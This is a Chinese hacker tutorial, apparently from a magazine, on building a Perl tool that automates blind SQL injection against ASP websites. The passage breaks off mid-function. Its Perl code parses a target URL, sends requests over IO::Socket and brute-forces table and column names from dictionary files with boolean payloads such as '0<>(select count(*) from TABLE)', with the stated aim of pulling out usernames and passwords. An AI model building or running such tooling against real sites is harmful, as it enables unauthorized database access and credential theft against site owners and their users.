说到SQL注入机,从娃娃针对动网文章的dvTxt.pl到臭要饭的绝世猜解CSC、NB联盟的NBSI,大家也都用过吧? 开天始祖dvTxt.pl,也不知被改了多少遍,以用于针对各种不同的有SQL注入漏洞的系统,通常《黑防》的一篇《**存在SQL注入漏洞》的文章,末了,都要把这尊大佛抬出来,更改几个字段,然后,又一个**专杀工具出土了!对于臭要饭的绝世猜解CSC,我用得已经是忍无可忍了, 虽然采用了多线程技术,但是依然弥补不了算法低劣的恶劣影响,破解由于采用的是字典,不仅速度慢,同时也限制了对中文这样的双字节字符的破解,而NBSI,破解算法虽然得到了改进,但是却忘了多线程,而且在猜解表名、列名时,共用一个大字典,白白浪费掉不少时间。两个东西拼在一起就好了,可是没有原代码阿(可视化开发工具,在下也只会用VB)?! 也不知道老大们是不是用一种语言开发的,就算是同一种,就算是VB,也没有人谁愿意提供原代码阿,无奈…只好响应主席号召:自己动手,丰衣足食! 程序不过是将手动变为自动,先来痛苦地回忆一下手动注入猜解的过程:1.找到注入点->2.构造SQL查询语句->3.提交URL->4.根据浏览器返回信息判断SQL查询语句正确性->5.修正SQL查询语句->6.重复3.4.5步N遍,直到得到数据库存储的正确信息。 翻译成程序语言:1.输入存在SQL注入漏洞的URL($url)->2.从URL中提取主机($host)、路径($path)、端口($port)->3. 构造SQL查询语句加入URL($url)->4.用IO::Socket向目标主机提交URL ->5.从返回的页面中提取查询逻辑值为真(假)时存在的字符($info),成功则转入对下一目标值的猜解,失败则继续重复3.4.5步。 猜解全局流程图如下: 用户信息表 - > 用户名字段 - > 密码字段 - > ID字段 - > 最小用户ID - > 用户名长度- > 密码长度 - > 用户名 - > 密码 说得有点简约,因为这些东西普及得实在厉害,更详细的内容,大家可以参阅《黑客防线》第5期的SQL注入专题,理论讲完了,大家也都情不自禁、心急火燎、磨刀霍霍…… LET’GO! 一. 提取$URL中的主机($host)、路径($path)、端口($port) 还曾记得娃娃的那个dvTxt.pl,还有它那烦琐的用法:dvTxt.pl <host> <way> <articleID> <errInfo> ,$URL一家三口被活生生的拆散,苍天啊! 在使用中,复制粘贴起来极为不便,其实,使用PERL强大的正则表达式,一却都可以迎刃而解,先来随便观察几个URL:http://www.hemon.tk/show.asp?id=957 、http://www.hemon.tk:1314/show.asp?id=957 、 http://www.hemon.tk/article/show.asp?id=957 。透过现象看本质,规律也就出来了:(http://)主机(:端口)/ 路径 。()内字符出现0或1次。 正则表达式也就有了:
程序代码:
if($url=~/(\/\/)?(.+?)\/(.+)/) { $host=$2; $path=''''/''''.$3; if($host=~/(.+):(.+)/) { $host=$1; $port=$2; } }在“$url=~/(\/\/)?(.+?)\/(.+)/”中,先要说一说那个?,?匹配0个或1个该字符,所以在输入链接的时候“http://”可有可无;匹配主机($host)的是(.+?),为什么不是(.+),因为perl默认的贪婪模式,将尽可能多的匹配至后面的字符(在这里是‘/’),所以如果不及时限定,对这样一个URL:http://www.hemon.tk/article/show.asp?id=957 ,$host将匹配至www.hemon.tk/article ,而不是我们想要的 www.hemon.tk 。 二. IO::Socket提交函数 经过刚才的努力,也该是回报的时候了,赶紧用我们提取得到的主机($host)、路径($path)、端口($port)写好这个提交函数:
程序代码:
sub connect { $req = "GET $path$path1 HTTP/1.0\n". "Host: $host\n". "Referer: $host\n". "Cookie: \n\n"; my $connection = IO::Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $connection $req; my @res = <$connection>; close $connection; return @res; } Connect 子例程将返回信息存储在数组@res中; 三. 猜解用户信息表 使用SQL查询语句:0<>(select count(*) from TABLE) 真正的破解开始了,没有什么捷径可走,顺次读取字典里存储的表名,然后一个一个的尝试,一旦成功匹配正确信息,立即退出while循环;字典有两种,一种是数组,第二是文本字典,PERL脚本我们将编译为EXE可执行文件,为了便于今后修改添加新的表名,我使用文本字典文件:
程序代码:
open (tabInput,"table.txt") or die "can''''t open file!\n"; while (chomp(my $input=<tabInput>)) { my $sql="0<>(select%20count(*)%20from%20$input)"; $path1 = "%20AND%20$sql"; &url; @res = &connect; if ("@res"=~/$info/) { $table_user=$input; print "the table of userinfo is:$table\n"; last; } } close(tabInput);四. 猜解字段名 使用SQL查询语句:exists (select COL_NAME from TABLE) 这一步同猜解表名如出一辙,一旦成功获取表名,我们将兵分三路,直取用户名列($field_user)、密码列($field_pass)、ID列($field_id),既然是分兵出击,就不得不使用多线程,PERL中的多线程,呵呵,你还没有试过吧? 为实现多线程作的第一个准备,编写猜解子例程(函数),我们依然使用文本字典文件,在这里,文件名作为唯一的参数传入:
程序代码:
sub field_input { my $field; open (fieInput,"$_[0]") or die "can''''t open file!\n"; while (chomp(my $input=<fieInput>)) { my $sql="exists%20(select%20$input%20from%20$table_User)"; $path1 = "%20AND%20$sql"; my @res = &connect; if ("@res"=~/$info/) { $field=$input; print "\t+-- $field [1] [2] [3] 下一页 |